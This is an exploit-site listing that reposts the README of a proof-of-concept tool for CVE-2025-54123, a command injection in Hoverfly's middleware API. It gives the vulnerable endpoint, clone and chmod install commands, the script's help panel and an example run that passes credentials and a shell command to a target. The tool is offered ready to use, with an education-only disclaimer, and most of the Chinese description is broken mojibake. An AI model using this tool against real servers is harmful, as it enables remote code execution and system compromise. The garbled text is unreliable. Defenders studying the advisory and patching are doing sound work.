## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-F4DEE-BACKUP-CVE-2025-54123
# CVE-2025-54123 - Hoverfly ๅฝไปคๆณจๅ
ฅ๏ผRCE๏ผ
> PoC CVE-2025-54123 - Hoverfly ไธญ้ดไปถๅฝไปคๆณจๅ
ฅ
* * *
## ๐ CVE ่ฏฆๆ
* **ID** : CVE-2025-54123
* **็ฑปๅ** ๏ผๅฝไปคๆณจๅ
ฅ / ่ฟ็จไปฃ็ ๆง่ก๏ผRCE๏ผ
* **ๅๅ** ๏ผHoverfly
* **ๅฝฑๅ** ๏ผๅ
่ฎธ็ป่ฟ่บซไปฝ้ช่ฏ็ๆปๅป่
้่ฟไธญ้ดไปถ API ็ซฏ็นๆง่กไปปๆ็ณป็ปๅฝไปคใ
* **ๅๅฝฑๅ็ๆฌ** ๏ผHoverfly โค 1.11.3
* **ๆดๅคไฟกๆฏ** ๏ผ
* GHSA-r4h8-hfp2-ggmf
* [NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-54123]
* * *
## โ๏ธ ๆ่ฟฐ
ๆญคๆผๆดๅฝฑๅ Hoverfly โค 1.11.3 ็ๆฌ๏ผไธ้จ้ๅฏน `/api/v2/hoverfly/middleware` ็ซฏ็นใๅ
ถๆ นๆบๅจไบๅคไธชๆไปถ๏ผๅ
ๆฌ `middleware.go`ใ`local_middleware.go` ๅ `hoverfly_service.go`๏ผไธญ**่พๅ
ฅ้ช่ฏๅๆธ
็ไธๅ
ๅ** ใ็จๆทๆไพ็ `script` ๅๆฐ่พๅ
ฅๅจๆช็ป้ๅฝๆฃๆฅ็ๆ
ๅตไธ่ขซ็ดๆฅไผ ้็ป็ณป็ปไบ่ฟๅถ็จๅบ๏ผไพๅฆ `/bin/bash`๏ผ๏ผไป่ๅ
่ฎธไปฅ Hoverfly ่ฟ็จ็ๆ้ๅฎ็ฐ**่ฟ็จๅฝไปคๆง่ก๏ผRCE๏ผ** ใ
* **CVSS v3.1 ่ฏๅ** ๏ผ9.8๏ผไธฅ้๏ผโโๅฝฑๅๅคง๏ผๆปๅปๅคๆๅบฆไฝใ
* **ๅฝฑๅ** ๏ผ็ป่ฟ่บซไปฝ้ช่ฏ็ๆปๅป่
ๅฏๅจๅบๅฑ็ณป็ปไธๆง่กไปปๆๅฝไปค๏ผๅฏ่ฝๅฏผ่ดๆดไธช็ณป็ป่ขซๅฎๅ
จๆป้ทใ
* **็ผ่งฃๆชๆฝ** ๏ผๅจ โฅ 1.12.0 ็ๆฌไธญ๏ผๅๅฝฑๅ็ไธญ้ดไปถ API ้ป่ฎคๅคไบ็ฆ็จ็ถๆใๅผบ็ๅปบ่ฎฎ็จๆทๅ็บงๆ้ๅถๅฏนไธญ้ดไปถ็ซฏ็น็่ฎฟ้ฎใ
* * *
## ๐ ไฝฟ็จๆนๆณ
### ๐ง ็ฏๅข่ฆๆฑ
* `curl`
* * *
### ๐ฅ ๅฎ่ฃ
root@kitploit:~
git clone https://github.com/f4dee-backup/CVE-2025-54123
root@kitploit:~
cd CVE-2025-54123
root@kitploit:~
chmod +x CVE-2025-54123.sh
* * *
### ๐งช ๅธฎๅฉ้ขๆฟ
root@kitploit:~
./CVE-2025-54123.sh -h
โโโโโโโโโโ โโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโโโ โโโโโโโ
โโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโ โโโโโโโ
โโโ โโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโ โโโโโโโ
โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ โโโ โโโโโโโโโโโโโโโโโโโ
โโโโโโโ โโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ
Hoverfly <= 1.11.3 - Authenticated Middleware Command Injection
[?] Parameters description:
-t Target base URL (e.g., http://target:8888)
-u Valid username
-p Valid password
-c Command to execute (must be enclosed in double quotes)
-h Show this help panel
[i] Example:
./CVE-2025-54123.sh -t http://target.com:8888 -u admin -p password -c "id"
* * *
## โ ๏ธ ๆณจๆไบ้กน
* ้่ฆ่บซไปฝ้ช่ฏๆ่ฝ่ทๅๆๆ็ไปค็ใ
* ๆ นๆฎๅ
้จ้
็ฝฎ๏ผๅคๆฌก่บซไปฝ้ช่ฏๅคฑ่ดฅๅฏ่ฝไผ่งฆๅไธดๆถๅฐ้ใ
* ่กไธบๅฏ่ฝๅ ้จ็ฝฒๆนๅผ่ๅผ๏ผไพๅฆ๏ผDocker ไธๆฌๅฐ้จ็ฝฒ๏ผใ
* * *
## โ ๏ธ ๅ
่ดฃๅฃฐๆ
ๆญคๆผๆดๅฉ็จๅทฅๅ
ทไป
็จไบ**ๆ่ฒๅๆๆๅฎๅ
จๆต่ฏ็ฎ็** ใ
ๆช็ปๆ็กฎ่ฎธๅฏ๏ผ**่ฏทๅฟ** ้ๅฏนไปปไฝ็ณป็ปไฝฟ็จๆญคๅทฅๅ
ทใๆช็ปๆๆ็่ฎฟ้ฎๅฏ่ฝ่ฟๆณใ
ไฝ่
ๅฏนๆปฅ็จๆ้ ๆ็ไปปไฝๆๅฎณ**ไธๆฟๆ
ไปปไฝ่ดฃไปป** ใ